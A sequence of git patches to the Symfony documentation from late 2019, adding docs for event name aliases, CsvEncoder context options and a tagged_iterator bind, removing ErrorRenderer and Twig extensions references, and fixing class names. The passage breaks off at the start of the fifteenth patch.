From c87632c4ec6e1500d9d423c767f03622fa604d63 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 4 Oct 2019 15:17:20 +0200
Subject: [PATCH 0001/7107] [EventDispatcher] Document event name aliases.

---
 components/event_dispatcher.rst | 50 ++++++++++++++++++++++--
 event_dispatcher.rst            | 67 +++++++++++++++++++++++++++++++++
 2 files changed, 114 insertions(+), 3 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 89853d22941..bf055411efa 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -220,11 +220,55 @@ determine which instance is passed.
         $containerBuilder->register('subscriber_service_id', \AcmeSubscriber::class)
             ->addTag('kernel.event_subscriber');
 
+    ``RegisterListenersPass`` is able to resolve aliased class names which for
+    instance allows to refer to an event via the fully qualified class name
+    (FQCN) of the event class. The pass will read the alias mapping from a
+    dedicated container parameter. This parameter can be extended by registering
+    another compiler pass, ``AddEventAliasesPass``::
+
+        use Symfony\Component\DependencyInjection\Compiler\PassConfig;
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag;
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass;
+        use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
+        use Symfony\Component\EventDispatcher\EventDispatcher;
+
+        $containerBuilder = new ContainerBuilder(new ParameterBag());
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
+        $containerBuilder->addCompilerPass(new AddEventAliasesPass([
+            \AcmeFooActionEvent::class => 'acme.foo.action',
+        ]));
+
+        $containerBuilder->register('event_dispatcher', EventDispatcher::class);
+
+        // registers an event listener
+        $containerBuilder->register('listener_service_id', \AcmeListener::class)
+            ->addTag('kernel.event_listener', [
+                // will be translated to 'acme.foo.action' by RegisterListenersPass.
+                'event' => \AcmeFooActionEvent::class,
+                'method' => 'onFooAction',
+            ]);
+
+    .. note::
+
+        Note that ``AddEventAliasesPass`` has to be processed before ``RegisterListenersPass``.
+
     By default, the listeners pass assumes that the event dispatcher's service
     id is ``event_dispatcher``, that event listeners are tagged with the
-    ``kernel.event_listener`` tag and that event subscribers are tagged
-    with the ``kernel.event_subscriber`` tag. You can change these default
-    values by passing custom values to the constructor of ``RegisterListenersPass``.
+    ``kernel.event_listener`` tag, that event subscribers are tagged
+    with the ``kernel.event_subscriber`` tag and that the alias mapping is
+    stored as parameter ``event_dispatcher.event_aliases``. You can change these
+    default values by passing custom values to the constructors of
+    ``RegisterListenersPass`` and ``AddEventAliasesPass``.
+
+.. versionadded:: 4.3
+
+    Aliasing event names is possible since Symfony 4.3.
+
+.. versionadded:: 4.4
+
+    The ``AddEventAliasesPass`` class was introduced in Symfony 4.4.
 
 .. _event_dispatcher-closures-as-listeners:
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c1c7d1c6f95..58239019bb7 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,6 +246,73 @@ there are some minor advantages for each of them:
 * **Listeners are more flexible** because bundles can enable or disable each of
   them conditionally depending on some configuration value.
 
+.. _event-aliases:
+
+Event Aliases
+-------------
+
+When configuring event listeners and subscribers via dependency injection,
+Symfony's core events can also be referred to by the fully qualified class
+name (FQCN) of the corresponding event class::
+
+    // src/EventSubscriber/RequestSubscriber.php
+    namespace App\EventSubscriber;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\RequestEvent;
+
+    class RequestSubscriber implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents(): array
+        {
+            return [
+                RequestEvent::class => 'onKernelRequest',
+            ];
+        }
+
+        public function onKernelRequest(RequestEvent $event)
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 4.3
+
+    Referring Symfony's core events via the FQCN of the event class is possible
+    since Symfony 4.3.
+
+Internally, the event FQCN are treated as aliases for the original event names.
+Since the mapping already happens when compiling the service container, event
+listeners and subscribers using FQCN instead of event names will appear under
+the original event name when inspecting the event dispatcher.
+
+This alias mapping can be extended for custom events by registering the
+compiler pass ``AddEventAliasesPass``::
+
+    // src/Kernel.php
+    use App\Event\MyCustomEvent;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+
+    class Kernel extends BaseKernel
+    {
+        protected function build(ContainerBuilder $container)
+        {
+            $container->addCompilerPass(new AddEventAliasesPass([
+                MyCustomEvent::class => 'my_custom_event',
+            ]));
+        }
+    }
+
+The compiler pass will always extend the existing list of aliases. Because of
+that, it is safe to register multiple instances of the pass with different
+configurations.
+
+.. versionadded:: 4.4
+
+    The ``AddEventAliasesPass`` class was introduced in Symfony 4.4.
+
 Debugging Event Listeners
 -------------------------
 

From b600aa07523f2214d259175d7c1a2e39d584f239 Mon Sep 17 00:00:00 2001
From: Maciej Malarz <malarzm@gmail.com>
Date: Thu, 10 Oct 2019 21:32:03 +0200
Subject: [PATCH 0002/7107] List CSV encoder's context options

---
 components/serializer.rst | 54 ++++++++++++++++++++++++++++++++++-----
 1 file changed, 47 insertions(+), 7 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 94c1ca0d5b1..fd44a459530 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -810,13 +810,6 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. deprecated:: 4.2
-
-    Relying on the default value ``false`` is deprecated since Symfony 4.2.
-
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -1254,6 +1247,52 @@ These are the options available:
 ``remove_empty_tags``
     If set to true, removes all empty tags in the generated XML.
 
+The ``CsvEncoder``
+------------------
+
+This encoder transforms arrays into CSV and vice versa.
+
+Context
+~~~~~~~
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the CsvEncoder an associative array::
+
+    $csvEncoder->encode($array, 'csv', $context);
+
+These are the options available:
+
+``csv_delimiter``
+    Sets the field delimiter separating values (one character only, default: ``,``).
+    
+``csv_enclosure``
+    Sets the field enclosure (one character only, default: ``"``).
+    
+``csv_escape_char``
+    Sets the escape character (at most one character, default: empty string).
+    
+``csv_key_separator``
+    Sets the separator for array's keys during its flattening (default: ``.``).
+    
+``csv_headers``
+    Sets the headers for the data (default: ``[]``, inferred from input data's keys).
+    
+``csv_escape_formulas``
+    Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
+    
+``as_collection``
+    Always returns results as a collection, even if only one line is decoded (default: ``false``).
+    
+.. deprecated:: 4.2
+
+    Relying on the default value ``false`` is deprecated since Symfony 4.2.
+    
+``no_headers``
+    Disables header in the encoded CSV (default: ``false``).
+    
+``output_utf8_bom``
+    Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
+
 Handling Constructor Arguments
 ------------------------------
 
@@ -1506,6 +1545,7 @@ Learn more
 .. _YAML: http://yaml.org/
 .. _CSV: https://tools.ietf.org/html/rfc4180
 .. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php

From 3a5c137954134fc59a9f37c82d76ca8d65e597a2 Mon Sep 17 00:00:00 2001
From: Clement Herreman <clement.herreman@gmail.com>
Date: Tue, 19 Nov 2019 17:37:15 +0100
Subject: [PATCH 0003/7107] Add note about .env.local being ignored in test
 environment

---
 configuration.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 1254e074038..d6e6f8abb1f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -627,6 +627,11 @@ the only mandatory file and each file content overrides the previous one:
   env vars overrides only for some environment. It's similar to ``.env.local``,
   but the overrides only apply to some particular environment.
 
+.. note::
+
+    ``.env.local`` is always ignored in test environment. The logic is that
+    tests should always produce the same results for everyone.
+
 .. note::
 
     The real environment variables defined in the server always win over the

From 3d50d7861817affa3fe28e91a3930735083b7b1e Mon Sep 17 00:00:00 2001
From: Harald Leithner <leithner@itronic.at>
Date: Mon, 25 Nov 2019 14:09:15 +0100
Subject: [PATCH 0004/7107] Set PHP Version requirement to 7.2.5

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index fe01d60201e..70ef50c1fdf 100644
--- a/setup.rst
+++ b/setup.rst
@@ -17,7 +17,7 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 7.2.9 or higher and these PHP extensions (which are installed and
+* Install PHP 7.2.5 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages;

From 9457979ba708f2ef3304a30c3639959f57ded3c1 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Tue, 26 Nov 2019 08:46:27 -0500
Subject: [PATCH 0005/7107] Remove ErrorRenderer reference everywhere

---
 components/error_handler.rst                  |  10 --
 components/error_renderer.rst                 | 159 ------------------
 components/http_kernel.rst                    |   2 +-
 controller/error_pages.rst                    |   2 +-
 .../http_kernel_httpkernel_class.rst          |   4 +-
 5 files changed, 4 insertions(+), 173 deletions(-)
 delete mode 100644 components/error_renderer.rst

diff --git a/components/error_handler.rst b/components/error_handler.rst
index f5b1e7b9c11..7452ebce3e5 100644
--- a/components/error_handler.rst
+++ b/components/error_handler.rst
@@ -67,11 +67,6 @@ to enable this error handler::
 
     ErrorHandler::register();
 
-.. tip::
-
-    If you want to get even better exception pages, install the
-    :doc:`ErrorRenderer component </components/error_renderer>` too.
-
 Catching PHP Function Errors and Turning Them into Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -145,11 +140,6 @@ to enable this exception handler::
 
     ExceptionHandler::register();
 
-.. tip::
-
-    If you want to get even better exception pages, install the
-    :doc:`ErrorRenderer component </components/error_renderer>` too.
-
 .. _component-debug-class-loader:
 
 Class Loading Debugger
diff --git a/components/error_renderer.rst b/components/error_renderer.rst
deleted file mode 100644
index 607935aa6bb..00000000000
--- a/components/error_renderer.rst
+++ /dev/null
@@ -1,159 +0,0 @@
-.. index::
-   single: Error
-   single: Exception
-   single: Components; ErrorRenderer
-
-The ErrorRenderer Component
-===========================
-
-    The ErrorRenderer component converts PHP errors and exceptions into other
-    formats such as JSON and HTML and renders them.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/error-renderer
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The ErrorRenderer component provides several renderers to convert PHP errors and
-exceptions into other formats such as JSON and HTML easier to debug when working
-with HTTP applications::
-
-    use Symfony\Component\ErrorRenderer\ErrorRenderer;
-    use Symfony\Component\ErrorRenderer\ErrorRenderer\HtmlErrorRenderer;
-    use Symfony\Component\ErrorRenderer\ErrorRenderer\JsonErrorRenderer;
-    use Symfony\Component\ErrorRenderer\Exception\FlattenException;
-    use Symfony\Component\HttpFoundation\Response;
-
-    $renderers = [
-        new HtmlErrorRenderer(),
-        new JsonErrorRenderer(),
-        // ...
-    ];
-    $errorRenderer = new ErrorRenderer($renderers);
-
-    try {
-        // ...
-    } catch (\Throwable $e) {
-        $e = FlattenException::createFromThrowable($e);
-
-        return new Response($errorRenderer->render($e, 'json'), 500, ['Content-Type' => 'application/json']);
-    }
-
-Built-in Error Renderers
-------------------------
-
-This component provides error renderers for the most common needs:
-
-  * :class:`Symfony\\Component\\ErrorRenderer\\ErrorRenderer\\HtmlErrorRenderer`
-    renders errors in HTML format;
-  * :class:`Symfony\\Component\\ErrorRenderer\\ErrorRenderer\\JsonErrorRenderer`
-    renders errors in JSON format and it's compliant with the `RFC 7807`_ standard;
-  * :class:`Symfony\\Component\\ErrorRenderer\\ErrorRenderer\\XmlErrorRenderer`
-    renders errors in XML and Atom formats. It's compliant with the `RFC 7807`_
-    standard;
-  * :class:`Symfony\\Component\\ErrorRenderer\\ErrorRenderer\\TxtErrorRenderer`
-    renders errors in plain text format.
-
-Adding a Custom Error Renderer
-------------------------------
-
-Error renderers are PHP classes that implement the
-:class:`Symfony\\Component\\ErrorRenderer\\ErrorRenderer\\ErrorRendererInterface`.
-For example, if you need to render errors in `JSON-LD format`_, create this
-class anywhere in your project::
-
-    namespace App\ErrorRenderer;
-
-    use Symfony\Component\ErrorRenderer\ErrorRenderer\ErrorRendererInterface;
-    use Symfony\Component\ErrorRenderer\Exception\FlattenException;
-
-    class JsonLdErrorRenderer implements ErrorRendererInterface
-    {
-        private $debug;
-
-        public function __construct(bool $debug = true)
-        {
-            $this->debug = $debug;
-        }
-
-        public static function getFormat(): string
-        {
-            return 'jsonld';
-        }
-
-        public function render(FlattenException $exception): string
-        {
-            $content = [
-                '@id' => 'https://example.com',
-                '@type' => 'error',
-                '@context' => [
-                    'title' => $exception->getTitle(),
-                    'code' => $exception->getStatusCode(),
-                    'message' => $exception->getMessage(),
-                ],
-            ];
-
-            if ($this->debug) {
-                $content['@context']['exceptions'] = $exception->toArray();
-            }
-
-            return (string) json_encode($content);
-        }
-    }
-
-.. tip::
-
-    If the ``getFormat()`` method of your error renderer matches one of formats
-    supported by the built-in renderers, the built-in renderer is replaced by
-    your custom renderer.
-
-To enable the new error renderer in the application,
-:ref:`register it as a service <service-container-creating-service>` and
-:doc:`tag it </service_container/tags>` with the ``error_renderer.renderer``
-tag.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\ErrorRenderer\JsonLdErrorRenderer:
-                arguments: ['%kernel.debug%']
-                tags: ['error_renderer.renderer']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\ErrorRenderer\JsonLdErrorRenderer">
-                    <argument>%kernel.debug%</argument>
-                    <tag name="error_renderer.renderer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\ErrorRenderer\JsonLdErrorRenderer;
-
-        $container->register(JsonLdErrorRenderer::class)
-            ->setArguments([$container->getParameter('kernel.debug')]);
-            ->addTag('error_renderer.renderer');
-
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`JSON-LD format`: https://en.wikipedia.org/wiki/JSON-LD
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 046ca09a6f6..9ba9226abeb 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -554,7 +554,7 @@ below for more details).
     The listener has several goals:
 
     1) The thrown exception is converted into a
-       :class:`Symfony\\Component\\ErrorRenderer\\Exception\\FlattenException`
+       :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
        object, which contains all the information about the request, but which
        can be printed and serialized.
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 482ba6edd95..b1a6e2d3992 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -247,7 +247,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    A :class:`\\Symfony\\Component\\ErrorRenderer\\Exception\\FlattenException`
+    A :class:`\\Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
     instance created from the exception being handled.
 
 ``logger``
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 5845f4219dc..96bda4df692 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -69,7 +69,7 @@ Our code is now much more concise and surprisingly more robust and more
 powerful than ever. For instance, use the built-in ``ExceptionListener`` to
 make your error management configurable::
 
-    $errorHandler = function (Symfony\Component\ErrorRenderer\Exception\FlattenException $exception) {
+    $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) {
         $msg = 'Something went wrong! ('.$exception->getMessage().')';
 
         return new Response($msg, $exception->getStatusCode());
@@ -91,7 +91,7 @@ The error controller reads as follows::
     // example.com/src/Calendar/Controller/ErrorController.php
     namespace Calendar\Controller;
 
-    use Symfony\Component\ErrorRenderer\Exception\FlattenException;
+    use Symfony\Component\ErrorHandler\Exception\FlattenException;
     use Symfony\Component\HttpFoundation\Response;
 
     class ErrorController

From 71469628c7fae4bc107f83e82012379df83f68b5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matthieu.lempereur@betc.com>
Date: Wed, 27 Nov 2019 14:57:52 +0100
Subject: [PATCH 0006/7107] Add documentation for exponential format number

---
 components/expression_language/syntax.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 147782b4c9f..045451491f5 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -19,6 +19,7 @@ The component supports:
 * **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
 * **booleans** - ``true`` and ``false``
 * **null** - ``null``
+* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
 .. caution::
 

From 6ba282e22b352ae44e02c829c9129b4a2c8b864b Mon Sep 17 00:00:00 2001
From: Bagus Erlang <erlangparasu@gmail.com>
Date: Wed, 27 Nov 2019 13:21:13 +0800
Subject: [PATCH 0007/7107] uppercase

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index b6ccd34210b..f9585b1eb6a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -237,7 +237,7 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
 
 .. code-block:: terminal
 
-    # use the most recent 'lts' version
+    # use the most recent LTS version
     $ symfony new my_project_name --version=lts
 
     # use the 'next' Symfony version to be released (still in development)

From 79160c8f118dfff54741a931c20187917bc94dc6 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 27 Nov 2019 16:42:58 +0100
Subject: [PATCH 0008/7107] Add versionadded in file

Co-Authored-By: Oskar Stark <oskarstark@googlemail.com>
---
 components/expression_language/syntax.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 045451491f5..5b7ee72ec7a 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -21,6 +21,10 @@ The component supports:
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
+    .. versionadded:: 4.4
+    
+        The ``exponential`` literal was introduced in Symfony 4.4.
+
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string

From 7719243997ee6b5d53993f863dd7570b84d24206 Mon Sep 17 00:00:00 2001
From: Jerzy Zawadzki <zawadzki.jerzy@gmail.com>
Date: Wed, 27 Nov 2019 22:37:23 +0100
Subject: [PATCH 0009/7107] fix TraceableEventDispatcherInterface removed in
 5.0

---
 components/event_dispatcher/traceable_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/event_dispatcher/traceable_dispatcher.rst b/components/event_dispatcher/traceable_dispatcher.rst
index 87d58023445..33a98a2336b 100644
--- a/components/event_dispatcher/traceable_dispatcher.rst
+++ b/components/event_dispatcher/traceable_dispatcher.rst
@@ -41,10 +41,10 @@ to register event listeners and dispatch events::
     $traceableEventDispatcher->dispatch($event, 'event.the_name');
 
 After your application has been processed, you can use the
-:method:`Symfony\\Component\\EventDispatcher\\Debug\\TraceableEventDispatcherInterface::getCalledListeners`
+:method:`Symfony\\Component\\EventDispatcher\\Debug\\TraceableEventDispatcher::getCalledListeners`
 method to retrieve an array of event listeners that have been called in
 your application. Similarly, the
-:method:`Symfony\\Component\\EventDispatcher\\Debug\\TraceableEventDispatcherInterface::getNotCalledListeners`
+:method:`Symfony\\Component\\EventDispatcher\\Debug\\TraceableEventDispatcher::getNotCalledListeners`
 method returns an array of event listeners that have not been called::
 
     // ...

From 015d91a6199de25e38f7cd559343e014251ee886 Mon Sep 17 00:00:00 2001
From: Jerzy Zawadzki <zawadzki.jerzy@gmail.com>
Date: Thu, 28 Nov 2019 00:01:04 +0100
Subject: [PATCH 0010/7107] Removed simple_form and simple_pre_auth

---
 security/auth_providers.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index f5ec3723c7b..69fd0abaaa2 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -21,8 +21,6 @@ use-case matches one of these exactly, they're a great option:
 * :doc:`json_login </security/json_login_setup>`
 * :ref:`X.509 Client Certificate Authentication (x509) <security-x509>`
 * :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>`
-* ``simple_form``
-* ``simple_pre_auth``
 
 .. _security-http_basic:
 

From f5f64e1b3ea06304a96639f9de74bb5ac9608b6c Mon Sep 17 00:00:00 2001
From: Jerzy Zawadzki <zawadzki.jerzy@gmail.com>
Date: Wed, 27 Nov 2019 23:27:50 +0100
Subject: [PATCH 0011/7107] Changed names of Intl classes in form types docs

---
 reference/forms/types/country.rst  | 2 +-
 reference/forms/types/currency.rst | 2 +-
 reference/forms/types/language.rst | 2 +-
 reference/forms/types/locale.rst   | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index dbf2a87cc5b..da066decbb9 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -70,7 +70,7 @@ Overridden Options
 choices
 ~~~~~~~
 
-**default**: ``Symfony\Component\Intl\Intl::getRegionBundle()->getCountryNames()``
+**default**: ``Symfony\Component\Intl\Countries::getNames()``
 
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 83fdafa4e17..9921baa75d9 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -62,7 +62,7 @@ Overridden Options
 choices
 ~~~~~~~
 
-**default**: ``Symfony\Component\Intl\Intl::getCurrencyBundle()->getCurrencyNames()``
+**default**: ``Symfony\Component\Intl\Currencies::getNames()``
 
 The choices option defaults to all currencies.
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 7aee017fcce..9a751ecc4af 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -72,7 +72,7 @@ Overridden Options
 choices
 ~~~~~~~
 
-**default**: ``Symfony\Component\Intl\Intl::getLanguageBundle()->getLanguageNames()``.
+**default**: ``Symfony\Component\Intl\Languages::getNames()``.
 
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 6afaddd6250..2ff8e24ce51 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -73,7 +73,7 @@ Overridden Options
 choices
 ~~~~~~~
 
-**default**: ``Symfony\Component\Intl\Intl::getLocaleBundle()->getLocaleNames()``
+**default**: ``Symfony\Component\Intl\Locales::getNames()``
 
 The choices option defaults to all locales. It uses the default locale to
 specify the language.

From d76b6d09434bce56e06a6d1f6c118d30551485ef Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 30 Nov 2019 01:07:36 +0100
Subject: [PATCH 0012/7107] Fix documentation for PhpUnitBridge regex
 configuration

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 59217470965..7272bcc02a0 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -209,7 +209,7 @@ message, enclosed with ``/``. For example, with:
 
         <php>
             <server name="KERNEL_CLASS" value="App\Kernel"/>
-            <env name="SYMFONY_DEPRECATIONS_HELPER" value="regex=/foobar/"/>
+            <env name="SYMFONY_DEPRECATIONS_HELPER" value="/foobar/"/>
         </php>
     </phpunit>
 

From fcfe1ca796b67000dc8463c32ccd975d022abed4 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 30 Nov 2019 16:48:28 +0100
Subject: [PATCH 0013/7107] Remove references to the Twig extensions repo

---
 reference/dic_tags.rst       | 37 ------------------------------------
 reference/twig_reference.rst |  8 --------
 2 files changed, 45 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ceeaf202643..35a44883808 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1288,42 +1288,6 @@ For information on how to create the actual Twig Extension class, see
 `Twig's documentation`_ on the topic or read the
 :doc:`/templating/twig_extension` article.
 
-Before writing your own extensions, have a look at the
-`Twig official extension repository`_ which already includes several
-useful extensions. For example ``Intl`` and its ``localizeddate`` filter
-that formats a date according to user's locale. These official Twig extensions
-also have to be added as regular services:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        services:
-            Twig\Extensions\IntlExtension:
-                tags: [twig.extension]
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Twig\Extensions\IntlExtension">
-                    <tag name="twig.extension"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        $container
-            ->register('Twig\Extensions\IntlExtension')
-            ->addTag('twig.extension')
-        ;
-
 twig.loader
 -----------
 
@@ -1404,6 +1368,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`Twig official extension repository`: https://github.com/fabpot/Twig-extensions
 .. _`SwiftMailer's Plugin Documentation`: http://swiftmailer.org/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 6c455c8b306..45af378af9d 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -28,12 +28,6 @@ describe these extra features.
     framework. You are probably using some other bundles as well, and
     those might come with their own extensions not covered here.
 
-.. tip::
-
-    The `Twig Extensions repository`_ contains some additional Twig extensions
-    that do not belong to the Twig core, so you might want to have a look at
-    the `Twig Extensions documentation`_.
-
 .. _reference-twig-functions:
 
 Functions
@@ -771,6 +765,4 @@ The available attributes are:
 * ``app.flashes``, returns flash messages from the session
 
 .. _`Twig Reference`: https://twig.symfony.com/doc/2.x/#reference
-.. _`Twig Extensions repository`: https://github.com/twigphp/Twig-extensions
-.. _`Twig Extensions documentation`: http://twig-extensions.readthedocs.io/en/latest/
 .. _`Twig Bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/Twig/Extension

From 7ec6d9d140b41e03853e06bc4c7d85b729115815 Mon Sep 17 00:00:00 2001
From: "tien.xuan.vo" <tien.xuan.vo@gmail.com>
Date: Sat, 30 Nov 2019 23:09:30 +0700
Subject: [PATCH 0014/7107] [DependencyInjection] Bind tagged services

---
 service_container.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 44b2d1ee4db..1febe0cf8cc 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -665,6 +665,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
                     # optionally you can define both the name and type of the argument to match
                     string $adminEmail: 'manager@example.com'
                     Psr\Log\LoggerInterface $requestLogger: '@monolog.logger.request'
+                    iterable $rules: !tagged_iterator app.foo.rule
 
             # ...
 
@@ -695,6 +696,10 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
                         type="service"
                         id="monolog.logger.request"
                     />
+                    <bind key="iterable $rules"
+                        type="tagged_iterator"
+                        tag="app.foo.rule"
+                    />
                 </defaults>
 
                 <!-- ... -->
@@ -728,6 +733,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
                     // optionally you can define both the name and type of the argument to match
                     ->bind('string $adminEmail', 'manager@example.com')
                     ->bind(LoggerInterface::class.' $requestLogger', ref('monolog.logger.request'))
+                    ->bind('iterable $rules', tagged_iterator('app.foo.rule'))
             ;
 
             // ...

From c47d8ae727d592d071f941927e8b44532b2258b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Nov 2019 16:13:49 +0100
Subject: [PATCH 0015/7107] Tweak the IsTrue validation docs

---
 reference/constraints/IsTrue.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
